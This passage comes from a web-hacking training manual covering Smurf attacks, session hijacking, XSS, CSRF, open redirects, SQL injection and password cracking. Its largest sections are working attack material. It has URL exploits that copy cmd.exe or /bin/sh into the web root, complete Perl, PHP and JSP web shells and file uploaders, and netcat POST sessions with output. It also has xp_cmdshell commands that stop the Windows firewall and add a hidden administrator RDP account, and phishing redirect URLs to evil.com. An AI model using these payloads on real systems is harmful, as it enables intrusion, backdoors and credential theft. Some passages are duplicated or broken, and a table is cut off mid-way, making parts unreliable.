Configure routers not to forward packets directed to broadcast addresses. Until 1999, standards
required routers to forward such packets by default, but in that year, the standard was changed
to require the default to be not to forward.
Another proposed solution, to fix this as well as other problems, is network ingress filtering
which rejects the attacking packets on the basis of the forged source address.
An example of configuring a router not to forward packets to broadcast addresses, for a Cisco
router, is:
Router(config-if)# no ip directed-broadcast
(This example does not prevent a network from becoming the target of Smurf attack; it merely
prevents the network from "attacking" other networks, or better said, taking part in a Smurf
attack.)
A Smurf amplifier is a computer network that lends itself to being used in a Smurf attack. Smurf
amplifiers act to amplify (worsen the severity of) a Smurf attack because they are configured in
such a way that they generate a large number of ICMP replies to a spoofed source IP address
(the victim of the attack).
36 | P a g e
Session Hi-Jacking - What is Session Hi-Jacking?
• Taking over an active session to a computer system
• In order to attack the system, the attacker must know the protocol/method being used
to handle the active sessions with the system
• In order to attack the system, the attacker must achieve the user’s session identifier
(session id, session hash, token, IP)
• The most common use of Session Hi-jacking revolves around textual protocols such as
the HTTP protocol where the identifier is the ASPSESSID/PHPSESSID/JSESSION
parameter located HTTP Cookie Header aka “The Session Cookie”
• Most common scenarios of Session Hi-Jacking is done with combination with:
• XSS - Where the session cookie is read by an attacker’s JavaScript code
• Man-In-The-Middle – Where the cookie is sent over clear-text HTTP through the
attacker’s machine, which becomes the victim’s gateway
37 | P a g e
38 | P a g e
39 | P a g e
40 | P a g e
41 | P a g e
42 | P a g e
Hacking Web Servers How Web Servers Work
According to the research made by Ponemon Institute, web hacking and web based attacks are
the most costly for companies. The research results can be seen here:
These is a techniques rely purely on HTTP traffic to attack and penetrate web servers and application
servers. This technique was formulated to demonstrate that having tight firewalls or SSL does not really
matter when it comes to web application attacks. The premise of the one-way technique is that only valid
HTTP requests are allowed in and only valid HTTP responses are allowed out of the firewall.
Components of a generic web application system
There are four components in web application systems, namely the web client which is usually a browser,
the front-end web server, the application server and for a vast majority of applications, the database
server. The following diagram shows how these components fit together.
43 | P a g e
The web application server hosts all the application logic, which may be in the form of scripts, objects or
compiled binaries. The front-end web server acts as the application interface to the outside world,
receiving inputs from the web clients via HTML forms and HTTP, and delivering output generated by the
application in the form of HTML pages. Internally, the application interfaces with back-end database
servers to carry out transactions.
The firewall is assumed to be a tightly configured firewall, allowing nothing but incoming HTTP requests
and outgoing HTML replies.
URL mappings to the web application system
While interacting with a web application, the URLs that get sent back and forth between the browser and
the web server typically have the following format:
http:// server / path / application? Parameters
The following diagram illustrates how different parts of the URL map to various areas in the web
application system:
44 | P a g e
 The protocol (http or https) is allowed in and out by the firewall.
 The server and path parts are parsed by the front-end web server. Any vulnerabilities present in
URL interpretation (e.g. Unicode, double-decode) can be exploited by tampering with the server
and path of the URL.
 The application is executed by the application server with which it is configured or registered.
Tampering with this part may result in exploiting vulnerabilities present with the application
server. (e.g. compiling and executing arbitrary files using the JSP servlet handler)
 Parameters supplied to the application, if not properly validated, may result in vulnerabilities
specific to that application. (e.g. inserting pipe "|" characters to the open() call in Perl)
 If a parameter is used as a part of an SQL database query, poorly validated parameters may lead
to SQL injection attacks. (e.g. execution of arbitrary commands using stored procedures such as
"xp_cmdshell")
Flowchart for a one-way web hack
Consider the example where an attacker finds a vulnerable web application, and is able to exploit it using
techniques such as the ones mentioned previously. The attacker has achieved arbitrary command
execution, but due to the restrictive firewall, is unable to proceed further into the network. To make an
attack effective, two things are essential:
1. Interactive terminal access - for running commands to pilfer the attacked server or penetrate
further into the network.
2. File transfer access - for transferring attack tools such as port scanners, rootkits, etc.
A tight firewall can make it very difficult to achieve the above objectives; however, it is not impossible. To
get around these restrictions, with a little bit of web application programming knowledge, we can create a
web based command prompt and a file uploader.
45 | P a g e
Before proceeding further we shall take a preview of the various stages of the one-way hack, as illustrated
by the following diagram:
Finding the entry point
The one-way hack begins when we are able to achieve remote command execution on the target web
server. We can use any of the common techniques used to attack web servers. We shall present a few
examples of various ways of achieving remote command execution based on different types of URL
mappings as described previously. A detailed discussion on web server and application vulnerabilities is
beyond the scope of this paper.
Our objective is to create a backdoor by moving the shell interpreter (/bin/sh, cmd.exe, etc.) to an area
within the web server's document root. This way, we can invoke the shell interpreter through a URL. We
present three examples which illustrate how to create backdoors using various exploitation techniques.
The diagram below illustrates some of the techniques used to find an entry point:
46 | P a g e
Exploiting URL parsing
The Unicode / Double decode attack is a classic example of a URL parsing vulnerability. The URL below
copies the command interpreter - cmd.exe - into the "scripts/" directory within the web server's
document root:
http://www1.example.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy+
c:winntsystem32cmd.exe+c:inetpubscripts
Exploiting poorly validated input parameters
In this example, an unchecked parameter is passed from the URL to a Perl CGI script news.cgi using the
open() call in an insecure manner:
http://www2.example.com/cgi-bin/news.cgi?story=101003.txt|cp+/bin/sh+
/usr/local/apache/cgi-bin/sh.cgi|
The shell (/bin/sh) gets copied into the cgi-bin directory as sh.cgi.
Exploiting SQL injection
Here, we show how SQL injection can be used to invoke a stored procedure on a database server, and run
commands via the stored procedure:
http://www3.example.com/product.asp?id=5%01EXEC+master..xp_cmdshell+
47 | P a g e
'copy+c:winntsystem32cmd.exe+c:inetpubscripts'
Invoking the command interpreter
Our objective of creating a backdoor by moving the command interpreter or the shell into the web
document root is to be able to invoke it remotely over HTTP. The HTTP POST method is best suited for this
purpose. Using POST, the input data gets passed to the invoked resource over standard input, and the
web server returns the output generated by standard output back over the HTTP connection.
We shall illustrate how to send commands to command interpreters over POST, with an example of sh.cgi
(which is a copy of /bin/sh) on Apache and Linux.
Posting commands to /bin/sh
The example below shows three commands being run with /bin/sh, which is accessible on
http://www2.example.com/cgi-bin/sh.cgi. The POST request is shown in bold letters.
$ nc www2.example.com 80
POST /cgi-bin/sh.cgi HTTP/1.0
Host: www2.example.com
Content-type: text/html
Content-length: 60
echo 'Content-type: text/html'
echo
uname
id
ls -la /
exit
HTTP/1.1 200 OK
Date: Thu, 27 Nov 2003 20:47:20 GMT
Server: Apache/1.3.12
Connection: close
Content-Type: text/html
Linux
uid=99(nobody) gid=99(nobody) groups=99(nobody)
total 116
drwxr-xr-x 19 root root 4096 Feb 2 2002 .
drwxr-xr-x 19 root root 4096 Feb 2 2002 ..
drwxr-xr-x 2 root root 4096 Jun 20 2001 bin
drwxr-xr-x 2 root root 4096 Nov 28 02:01 boot
drwxr-xr-x 6 root root 36864 Nov 28 02:01 dev
drwxr-xr-x 29 root root 4096 Nov 28 02:01 etc
drwxr-xr-x 8 root root 4096 Dec 1 2001 home
drwxr-xr-x 4 root root 4096 Jun 19 2001 lib
drwxr-xr-x 2 root root 16384 Jun 19 2001 lost+found
drwxr-xr-x 4 root root 4096 Jun 19 2001 mnt
48 | P a g e
drwxr-xr-x 3 root root 4096 Feb 2 2002 opt
dr-xr-xr-x 37 root root 0 Nov 28 2003 proc
drwxr-x--- 9 root root 4096 Feb 9 2003 root
drwxr-xr-x 3 root root 4096 Jun 20 2001 sbin
drwxrwxr-x 2 root root 4096 Feb 2 2002 src
drwxrwxrwt 7 root root 4096 Nov 28 02:01 tmp
drwxr-xr-x 4 root root 4096 Feb 2 2002 u01
drwxr-xr-x 21 root root 4096 Feb 2 2002 usr
drwxr-xr-x 16 root root 4096 Jun 19 2001 var
$
The care and feeding of /bin/sh over Apache is slightly different. Apache expects a well formed HTTP
response header from all its CGI programs, hence we have to prepend the lines "Content-type: text/html"
in the output. The two "echo" commands are for this purpose.
Automating the POST process
We have created two Perl scripts post_cmd.pl and post_sh.pl to automate the task of preparing the
proper POST requests for the commands and sending them to the web server. The syntax for invoking
post_cmd.pl is as follows:
usage: post_cmd.pl url [proxy:port] < data
By Saumil Shah (c) net-square 2001
post_cmd.pl takes all the data to be POSTed to the URL as
standard input. Either enter the data manually and hit ^D (unix)
or ^Z (dos) to end; or redirect the data using files or pipes
post_sh.pl is on similar lines.
The examples below show the same results being derived using the Perl scripts instead of forming our
own POST requests:
Output of post_sh.pl
$ ./post_sh.pl http://www2.example.com/cgi-bin/sh.cgi
uname
id
ls -la /
^D
HTTP/1.1 200 OK
Date: Thu, 27 Nov 2003 20:43:54 GMT
Server: Apache/1.3.12
Connection: close
Content-Type: text/html
49 | P a g e
Linux
uid=99(nobody) gid=99(nobody) groups=99(nobody)
total 116
drwxr-xr-x 19 root root 4096 Feb 2 2002 .
drwxr-xr-x 19 root root 4096 Feb 2 2002 ..
drwxr-xr-x 2 root root 4096 Jun 20 2001 bin
drwxr-xr-x 2 root root 4096 Nov 28 02:01 boot
drwxr-xr-x 6 root root 36864 Nov 28 02:01 dev
drwxr-xr-x 29 root root 4096 Nov 28 02:01 etc
drwxr-xr-x 8 root root 4096 Dec 1 2001 home
drwxr-xr-x 4 root root 4096 Jun 19 2001 lib
drwxr-xr-x 2 root root 16384 Jun 19 2001 lost+found
drwxr-xr-x 4 root root 4096 Jun 19 2001 mnt
drwxr-xr-x 3 root root 4096 Feb 2 2002 opt
dr-xr-xr-x 37 root root 0 Nov 28 2003 proc
drwxr-x--- 9 root root 4096 Feb 9 2003 root
drwxr-xr-x 3 root root 4096 Jun 20 2001 sbin
drwxrwxr-x 2 root root 4096 Feb 2 2002 src
drwxrwxrwt 7 root root 4096 Nov 28 02:01 tmp
drwxr-xr-x 4 root root 4096 Feb 2 2002 u01
drwxr-xr-x 21 root root 4096 Feb 2 2002 usr
drwxr-xr-x 16 root root 4096 Jun 19 2001 var
$
In this manner, we can issue multiple commands to the target web server using HTTP POST requests. This
concept shall be used to create arbitrary files on the web server, as discussed in section 4.1
Web based command prompt
After achieving remote command execution, we need to be able to interactively run commands on the
target web server. Common ways of doing this would be to either spawn a shell or bind it to a TCP port on
the target web server, or to launch a shell connection back to a TCP listener, or to launch an xterm to a
remote X display. However, given a tight firewall which allows only HTTP requests as incoming traffic and
HTTP responses as outbound traffic, such techniques will not work. We shall present here examples of
"web based command prompts" to get around these restrictions.
A web based command prompt provides the functionality of a semi-interactive shell terminal, via an
HTML form. The form accepts the command as an <INPUT> field and displays the resultant output as pre-
formatted text.
The reason why web based command prompts are semi-interactive is because they do not save the state
of the terminal, such as the current working directory, system environment, etc. These can be
implemented by session based HTML forms, however, that is beyond the scope of this paper.
Commands executed by such web based command prompts assume the privileges of the web server
process. Typically, for UNIX systems running Apache, the uid is "nobody", whereas for Windows systems
running IIS, the privileges are those of "IUSR_machinename" or "IWAM_machinename"
Given below are four examples of a web based command prompt:
50 | P a g e
Perl - perl_shell.cgi
The following script using Perl provides a semi-interactive web based command prompt.
#!/usr/bin/perl
require "cgi-lib.pl";
print &PrintHeader;
print "<FORM ACTION=perl_shell.cgi METHOD=GET>n";
print "<INPUT NAME=cmd TYPE=TEXT>n";
print "<INPUT TYPE=SUBMIT VALUE=Run>n";
print "</FORM>n";
&ReadParse(*in);
if($in{'cmd'} ne "") {
print "<PRE>n$in{'cmd'}nn";
print `/bin/bash -c "$in{'cmd'}"`;
print "</PRE>n";
}
51 | P a g e
PHP - sys.php
Creating a web based shell with PHP is very simple. The following script illustrates a web based shell in
PHP:
<FORM ACTION="sys.php" METHOD=POST>
Command: <INPUT TYPE=TEXT NAME=cmd>
<INPUT TYPE=SUBMIT VALUE="Run">
<FORM>
<PRE>
<?php
if(isset($cmd)) {
system($cmd);
}
?>
<PRE>
JSP - cmdexec.jsp
The following JSP code is a web based command prompt for J2EE application servers supporting Java
Server Pages.
<FORM METHOD=GET ACTION='cmdexec.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
52 | P a g e
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
Any web application programming language, which allows native OS commands to be run, can be used to
create a web based command prompt.
File uploader
In addition to being able to run commands on the target web server, an attacker would also be interested
in transferring files into the web server. Usual techniques such as FTP, NFS, NetBIOS, etc. do not work
since the firewall would prevent all these. To get around this obstacle, we need to create a file uploader.
The technique mentioned in section 4.1.2 can be painfully slow for large files. There is a better option,
though.
It is possible to upload files using the HTTP POST Multipart-MIME [3] method. The contents of the file get
sent to the server in an HTTP POST request. On the server, an upload script receives these contents and
saves them into a file. A detailed discussion of HTTP Multipart-MIME POST requests is beyond the scope
of this document.
To perform file uploads, we would require a directory where the web server process (nobody,
IUSR_machinename, IWAM_machinename, etc.) has privileges to create and write to files.
Given below are three examples of such upload scripts:
Perl - upload.cgi
Using Perl and cgi-lib.pl, it is easy to create an uploader script. The following example shows how:
#!/usr/bin/perl
require "cgi-lib.pl";
print &PrintHeader;
print "<form method='POST' enctype='multipart/form-data' action='upload.cgi'>n";
print "File path: <input type=file name=upfile>n";
print "<input type=submit value=upload></form>n";
&ReadParse;
53 | P a g e
PHP - upload.php
Creating an uploader with PHP is just as simple.
<FORM ENCTYPE="multipart/form-data" ACTION="upload.php" METHOD=POST>
<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="10000000">
<input type="File" name="userfile" size="30">
<INPUT TYPE="submit" VALUE="upload">
</FORM>
<?php
if($userfile_name != "") {
copy("$userfile", "./$userfile_name") or die("Couldnt copy file");
echo "File name: $userfile_name<br>n";
echo "File size: $userfile_size bytes<br>n";
echo "File type: $userfile_type<br>n";
}
?>
Once we have both command execution and file upload facilities over HTTP, we can do pretty
much whatever we please with the target web server. It would be possible to:
Discover source code and configuration files on the web server,
discover the internal network (if any) that the target web server lies on,
upload attack tools on the web server and execute them,
... and much more
An obvious next step is to attempt to escalate privileges, since we are bound by the privileges
extended to us by the web server process. The next section discusses just that.
54 | P a g e
One-Way Privilege Escalation
Web based command prompts; inherit the privileges of the process under which they are
running. Usually, these privileges are restricted user level privileges, unless the web server
process is running with elevated privileges. A few application servers, which plug-in to the front
end web server, run with elevated privileges. To take the attack deeper, in most cases, one
would need some sort of privilege escalation, after installing a web based command prompt and
an HTTP file uploader.
Privilege escalation attacks are nothing unique. There are many exploits for various operating
systems which result in escalating the privileges to either the super user, or to a more privileged
user. Most privilege escalation attacks can be adapted to the one-way attack technique.
A detailed discussion of privilege escalation attacks is not within the scope of this paper. We
shall discuss two examples of privilege escalation attacks, "Microsoft IIS 5.0 In-Process Table
Privilege Elevation Vulnerability" for the Windows and IIS platform, and the "Linux Ptrace/Setuid
Exec Vulnerability" for the Linux and Apache platform.
Care must be taken that the privilege escalation exploit runs non-interactively, i.e. it should not
require an interactive shell, an interactive terminal, a GUI console, etc. For this example, we had
to modify the Linux ptrace exploit to adapt it for one-way use.
55 | P a g e
Web Application Vulnerabilities Web Application Setup
XSS – Cross-Site-Scripting
Introduction
• XSS is a vulnerability which exists on the server side, but poses a risk only for the
server’s clients
• The “attack” occurs when a web server replies the user with the exact raw data received
from the user at a certain point in time.
Reflected XSS (Type I)
• In order to exploit the vulnerability:
– the attacker supplies the user with a link
– once clicked, the user sends data to the server
– the server replies it
– the browser executes it
• The attacker may send malicious JS code that will execute in the context of the given
site.
• This code is able to:
– Exploit the browser
– Steal cookies
– Perform GET and POST requests using the user`s credentials
– Perform content spoofing attacks
– Deface the site
56 | P a g e
Permanent (Stored) XSS
• Another vector of this attack is called “Stored XSS”, unlike the previous vector. In this
attack there is no need to navigate the user to a specially crafted URL.
• This attack requires the attacker to find a permanent place within the application that
can store his code, for example:
blog`s comments
user`s profile settings
Etc…
DOM XSS
…
XSS-Shell
• XSS-Shell is an attack platform designed to be launched from an XSS vector.
• The usage of this platform is as following:
The attacker sends the user a link referring to a vulnerable site
Upon clicking this link the client`s browser runs the JS code of the XSS-Shell platform
This code hijacks the browser and starts receiving commands from the server
57 | P a g e
The attacker can send new commands that will be evaluated in the client`s browser as long
as this attack is active
The client can stop the attack in two ways:
Manually navigate to the different site using the navigation bar
Closing the browser completely
XSS Worms
• In the age of social networks and mash web sites, a single XSS attack in a major site can
be turned into an army of computers, just waiting for commands from the attacker.
• Using the power of JS code there is even no need to try and exploit the browser. Most
uses of Bot-nets today are D.O.S and SPAM attacks.
The Future of SPAM
• While SPAM attacks are still hard to launch using JS, there are several ways attackers
use to achieve this goal.
• Mime injections is an uprising attack that allows an attacker to inject text into the mime
headers of an outgoing mail and change the values of those headers before being sent.
• The vulnerability is mostly common in “Contact Us” forms which lack input validation on
fields such as:
– From
– To
– Subject
– Date and so on…
• Correct usage of this vulnerability will allow the attacker to craft their own email and
send it to their victims using the vulnerable third party site.
• This method of SPAM will also bypass the “Secure Domain Tokens” that validates the
sender’s domain.
• The attacker can use a XSS worm to take advantage of such Inject-able sites in order to
produce a SPAM network with no Trojan Horses or any kind of backdoor tools.
58 | P a g e
• Correct usage of this vulnerability will allow the attacker to craft their own email and
send it to their victims using the vulnerable third party site.
• This method of SPAM will also bypass the “Secure Domain Tokens” that validates the
sender’s domain.
• The attacker can use a XSS worm to take advantage of such Inject-able sites in order to
produce a SPAM network with no Trojan Horses or any kind of backdoor tools.
D.o.S attacks
• D.o.S attacks are fairly easy to deploy.
• Consider a XSS worm on Facebook.com
• Every user that logs in will get a command from the server.
• This command will cause the browser to send a Post request to CNN.com
• Considering the amount of users Facebook has simultaneously, CNN will be down within
a few minutes.
59 | P a g e
Information Gathering
Beyond malicious attacks on third party sites, the attacker may use their worm to gather
sensitive information from their victims
• The attacker can harvest the following details using the XSS alone:
– Password (using a perfect phishing attack)
– Name
– Age
– Email
– Friend list (that will also be attacked to become future victims)
Automated exploiting bots
Another usage of an XSS worm is to automatically scan and exploit other vulnerabilities. In order
to achieve this goal the attacker needs to exploit one of the victim`s browser and execute a
backdoor that will act as the server. The server will then be used by all the other victims or,
“Fetchers”. The Fetchers will send a request to the server asking for a new list to attack. The
server will then use Google or any other search engine to get a list of sites that suit the attack
and return it to the fetcher. The fetcher now asks the server for the content of a certain site on
the list. Once the value returns, the fetcher parse out the inner link from this page. This is where
the user starts to actively participate in the attack:
• The worm’s JavaScript code running on each user’s machine blindly sends a generic
attack request/string/code to the targets/links retrieved by the fetcher with known
vulnerabilities such as SQL Injections.
60 | P a g e
• For each pattern found, the fetcher tries to exploit the machine using preset values.
• Successful exploitations will cause the attacked machine to report itself to the attacker
thus entering to the attack circle.
• This may have a low ratio of success but when talking about an XSS Worm in the
sufficient magnitude and considering the fact that this process is fully automatic the
result is highly satisfying for the attacker
• The fetcher checks for patterns on those links for known vulnerabilities such as SQL
Injections.
• For each pattern found, the fetcher tries to exploit the machine using preset values.
• Successful exploitations will cause the attacked machine to report itself to the attacker
thus entering to the attack circle.
• This may have a low ratio of success but when talking about an XSS Worm in the
sufficient magnitude and considering the fact that this process is fully automatic the
result is highly satisfying for the attacker
Malware Script Detector
• Malware Script Detector
(MSD)
http://userscripts.org/scripts/show/30284
• Coded mainly to detect today’s popular powerfully malicious JavaScript attack
frameworks: XSS-Proxy, XSS-Shell, AttackAPI, BeEF
• Version 2 was enhanced to prevent most XSS threats and includes XSS Attack Blacklists
based on Firefox XSS-Warning add-on
Cross Site Request Forgery (CSRF/XSRF/Session Riding)
Introduction
Cross Site Request Forgery (CSRF) is a client side attack that takes advantage of insecure web
applications. In order to understand this vulnerability let’s take a simple example, a website that
has:
 A user management section with a “remember me” cookie.
61 | P a g e
 The site has a *simple Change Password form.
The risks and common uses
• The form has one input, the new desired password.
• The attacker also discovered XSS vulnerability in a high traffic third party site.
• The attacker can use this XSS and cause the victim to generate a post to the original
form on the first site.
62 | P a g e
• The browser will then send an HTTP POST request to the first server, it will automatically
include the cookie that it had saved and the password will change as the attacker
desired.
• The attacker can make the user post any form (rather GET or POST method) without the
user having any way of controlling the event or even knowing it is happening (without
the use of sniffing or analysis tools).
• Most attackers choose the obvious forms to exploit:
• Password change
• Password reminder question change
• Email change
• Money transfer
Tokens vs. Personal Information as a solution for CSRF
• Tokens work in the following way:
– The user requests a page.
– The server generates a random token and appends it as a hidden field to the form.
63 | P a g e
– The user fills out the form and submits it back to the server.
– The server can now compare the token it has saved and the one received by the user
in order to verify the submit process was legitimate.
• Personal Information is used to validate the request is legitimate and human generated.
• Two ways are generally used in this method:
– Old password
– Security question
• The problem with this method of action is that it is not 100% secure, personal
information can be found out by the attacker and then the security mechanism has no
meaning.
• Combining both methods and adding a CAPTCHA mechanism is the best way to defend
against this type of attacks.
Open/Un-Validated Site Redirection / Cross Domain Redirect
In order to understand Open Site Redirection, we will explore the vulnerability found on the
WordPress blogging platform. In WordPress, there is a login redirect feature that can be abused
for phishing purposes. The parameter ‘redirect_to’ usually contains the relative URL to where
the user is redirected AFTER logging in successfully.
i.e.: /wordpress/wp-admin/index.php
However, such parameter also allows absolute URLs that point to a domain different to the one
where the legitimate WordPress login page is hosted.
i.e.: http://legitimate.com/wordpress/wp-login.php?redirect_to=http://evil.com
or
http://legitimate.com/wordpress/wp-
login.php?redirect_to=http://%65%76%69%6c%2e%63%6f%6d
(Evil domain name is hex-encoded for obfuscation purposes) where ‘http://evil.com’ would be a
malicious site hosting a spoof WordPress login page.
64 | P a g e
Attack scenario:
1. Attacker launches a phishing attack against the victim using the following URL:
http://legitimate.com/wordpress/wp-
login.php?redirect_to=http://%65%76%69%6c%2e%63%6f%6d
2. Victim logs in successfully
3. Victim is redirected to evil.com where there is a spoof WordPress login page that looks like
the original. Such login page returns an authentication error message like the following:
“ERROR: Invalid username.”
4. Victim thinks he/she entered the wrong username and re-enters username and password
again
5. Credentials are now logged by the attacker
• Many sites today use redirections and forwards to third party sites.
• Each non-validated redirection or forward to third party sites are potentially an attack
vector waiting to be exploited.
• There are a few risks when talking about non-validated referrals.
Common uses and Risks
65 | P a g e
• The number one use of this non-validated feature will be to implement an XSS attack on
a third party site.
• This XSS cannot affect the referring site, it still uses that site`s credibility to unleash the
attack.
• For example, the following link bypasses the Facebook redirect checks:
• Or coded to the more practical way:
• In a more discreet way:
• Another vector of attack is Content Spoofing.
• If the attacker can control the content of a frame inside a major news web server, they
could then create false posts of information that will endanger the credibility of the site
in addition to the profit generated to the attacker.
http://www.facebook.com/l.php?u=http://attacker_site.com&h=781d3
http://www.facebook.com/l.php?u=%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%5f%
73%69%74%65%2e%63%6f%6d&h=781d3
66 | P a g e
Validating Redirects and Forwards
• The application must validate the URL before forwarding the user thus assuring the link
is safe.
• In case the application cannot validate the URL it should prompt the user of the
redirection before forwarding it.
67 | P a g e
SQL-injection - What is SQL Injection?
Introduction
• SQL Injection is a vulnerability which exists on the server side and poses a risk to the
Database server of the application.
• The attack occurs when a web server passes the exact raw data received from the user
to the Database server.
• In order to exploit the vulnerability:
– The attacker must identify an input to the application that is involved in a database
query
– Once found, the attacker can manipulate this argument in order to change the
nature of the original query
• The following VB code generates a SQL statement using a parameter from the user
• In case the value is in the correct template, the application will work as planned
• On the other hand, the following input will completely change the nature of this query:
1’ or ‘1’=‘1
• The statement will appear as following:
• The outcome of the last statement will always result in the value: “true”.
• An attacker does the same manipulation in the login SQL statement.
• By making sure the statement will always result in “true”, the attacker is able to
instantly log in to the system.
Dim SSN as String
Dim SqlQuery as String
SSN = Request.QueryString(“ID")
SqlQuery = "SELECT lname, fname FROM users WHERE id = '" + ID + "'"
Select lname, fname FROM users WHERE id=‘1’
Select lname, fname FROM users WHERE id=‘1’ or ‘1’=‘1’
68 | P a g e
• In addition to login credentials the attacker can also go after the information within the
Database itself, for example Credit Cards.
• The attacker can use several vectors when trying to read data from the SQL server.
The Practice
Error Based SQL Injection
• When comparing columns of different types, the SQL server throws an exception.
• in this exception it explains exactly why the statement failed, for example:
– the attacker can compare the value of the @@version parameter, which is string, to
an integer value
– The server in response will say the value of @@version (and the value itself!) cannot
be treated as an integer.
Union Based SQL Injection
• In case the server does not output errors or if the attacker would like a faster way to get
the data out of the server the SQL Union statement comes to hand
• The following query will act as the test case:
• the attacker can control the value of user_id and may manipulate the query as
following:
select name from users where user_id=‘100’
69 | P a g e
• Instead of the name of the current user logged in, the application will output the
password of the admin user.
Taking Over the Machine
• An attacker can do more than just read, insert and modify records into the Database.
• With the right permissions, an attacker is able to run binary code on the actual server
running the SQL engine.
• For example, in MSSQL the procedure xp_cmdshell can be used to run the code it gets
as a parameter with the permissions of the user running the SQL Server (SYSTEM).
• In SQL Server 2005 the function was disabled for security issues, but of course Microsoft
left a Reconfigure function that can turn it back on.
• The SQL query will look as following:
Enable Remote Command Execution:
Disable Windows Firewall:
Add an Administrative RDP Authorized User Account:
select name from users where user_id=‘-1’ union all select password from users
where user_name=‘admin’
‘; exec master..sp_addextendedproc “xp_cmdshell”, “C:Program FilesMicrosoft SQL
serverMSSQLBinnxplog70.dll”;
exec master..sp_configure “show advanced options”, 1;
RECONFIGURE;
exec master..sp_configure 'xp_cmdshell',1;
RECONFIGURE;
exec master. xp_cmdshell ‘cmd.exe /c dir c:’;
exec master. xp_cmdshell ‘NET STOP “Windows Firewall”’;
exec master. xp_cmdshell ‘NET STOP “Internet Connection Firewall (ICF) / Internet Connection
Sharing (ICS)”’;
exec master. xp_cmdshell ‘NET STOP “Windows Firewall/Internet Connection Sharing (ICS)”’;
70 | P a g e
• Once the attacker has control over the machine they can then use it as a “Bot” in order
to automatically exploit other vulnerable sites.
SQL injection as a lead to other vulnerabilities
• Once the attacker has control over the Database server they can with great ease
manipulate the system and create additional security holes.
• For example, the attacker can change data in the SQL Server to bypass all of the input
validations against XSS attacks.
• This is why the application must always filter the input it gets, and should not consider
certain sources as safe.
SQL injection Automated tools
• There are a few key applications that make the usage of SQL injections practically
automated.
• The number one application will be Pangolin.
• Pangolin is designed to extract data from almost every type of SQL server:
– MSSQL
– MySQL
– Oracle
– DB2 and more…
• In addition to data extraction Pangolin has the ability to:
– Execute code on the remote machine
– Write files to the remote host
– Directory and file manager
– Registry editor
– Custom SQL statements and more…
Pangolin:
exec master. xp_cmdshell ‘net user hackeruser hackerpass /add’;
exec master. xp_cmdshell ‘net localgroup administrators hackeruser /add’;
exec master. xp_cmdshell ‘net localgroup “Remote Desktop Users” hackeruser /add’;
71 | P a g e
72 | P a g e
SQLMap – Automated SQL Injection:
SQL injection Prevention
• Just like with XSS, there are plugins that attempt to prevent these attacks, along with
many WAF products in the market.
• The problem with these products remains the same; it cannot be a single line of
defense. These products get broken.
• The application must have a filtering module that prevents these attacks on its own. In
the case of SQL Injection the most important part is to encode the parameter before
sending it to the SQL Server so that characters like [‘] will have no effect.
• A common problem is the parameters that are not bound by quotes, like integers, these
parameters must be validated as an integer before sent further on in the application.
• Another vector of prevention is the use of parameterized queries inside stored
procedures.
73 | P a g e
• This way the variables cannot be treated as SQL CODE but only as values of those
variables.
• Once this is done, no matter what the attacker sends as an input, it could never be
parsed as a part of the SQL statement.
• To add another layer of security, it is recommended to break down the stored
procedures into smaller units of code, each with its own permissions, to avoid a scenario
of one stored procedure having both read and write permissions.
• In addition, the parameters should be sanitized inside the stored procedures as a last
line of defense.
74 | P a g e
Web-Based Password Cracking Techniques
Authentication – Definition
If you invited me to try and crack your password, you know the one that you use over and over
for like every web page you visit, how many guesses would it take before I got it?
Let’s see… here is my top 10 list. I can obtain most of this information much easier than you
think, and then I might just be able to get into your e-mail, computer, or online banking. After
all, if I get into one I’ll probably get into all of them.
1. Your partner, child, or pet’s name, possibly followed by a 0 or 1 (because they’re always
making you use a number, aren’t they?)
2. The last 4 digits of your social security number.
3. 123 or 1234 or 123456.
4. “password”
5. Your city, or college, football team name.
6. Date of birth – yours, your partner’s or your child’s.
7. “god”
8. “letmein”
9. “money”
10. “love”
Statistically speaking that should probably cover about 20% of you. But don’t worry. If I didn’t
get it yet it will probably only take a few more minutes before I do…
Hackers and I’m not talking about the ethical kind, have developed a whole range of tools to get
at your personal data. And the main impediment standing between your information remaining
safe, or leaking out, is the password you choose. (Ironically, the best protection people have is
usually the one they take least seriously.)
One of the simplest ways to gain access to your information is through the use of a Brute Force
Attack. This is accomplished when a hacker uses a specially written piece of software to attempt
to log into a site using your credentials. Insecure.org has a list of the Top 10 FREE Password
Crackers right here.
So, how would one use this process to actually breach your personal security? Simple, Follow my
logic:
 You probably use the same password for lots of stuff right?
 Some sites you access such as your Bank or work VPN probably have pretty decent security,
so I’m not going to attack them.
75 | P a g e
 However, other sites like the Hallmark e-mail greeting cards site, an online forum you
frequent, or an e-commerce site you’ve shopped at might not be as well prepared. So those
are the ones I’d work on.
 So, all we have to do now is unleash Brutus, wwwhack, or THC Hydra on their server with
instructions to try say 10,000 (or 100,000 – whatever makes you happy) different
usernames and passwords as fast as possible.
 Once we’ve got several login + password pairings we can then go back and test them on
targeted sites.
 But wait… How do I know which bank you use and what your login ID is for the sites you
frequent? All those cookies are simply stored, unencrypted and nicely named, in your Web
browser’s cache. (Read this post to remedy that problem.)
And how fast could this is done? Well, that depends on three main things, the length and
complexity of your password, the speed of the hacker’s computer, and the speed of the hacker’s
Internet connection.
Assuming the hacker has a reasonably fast connection and PC here is an estimate of the amount
of time it would take to generate every possible combination of passwords for a given number
of characters. After generating the list it’s just a matter of time before the computer runs
through all the possibilities – or gets shut down trying.
Pay particular attention to the difference between using only lowercase characters and using all
possible characters (uppercase, lowercase, and special characters – like @#$%^&*). Adding just
one capital letter and one asterisk would change the processing time for an 8 character
password from 2.4 days to 2.1 centuries.
Password Length All Characters Only Lowercase
3 characters
4 characters
5 characters
6 characters
7 characters
8 characters
9 characters
10 characters
11 characters
12 characters
0.86 seconds
1.36 minutes
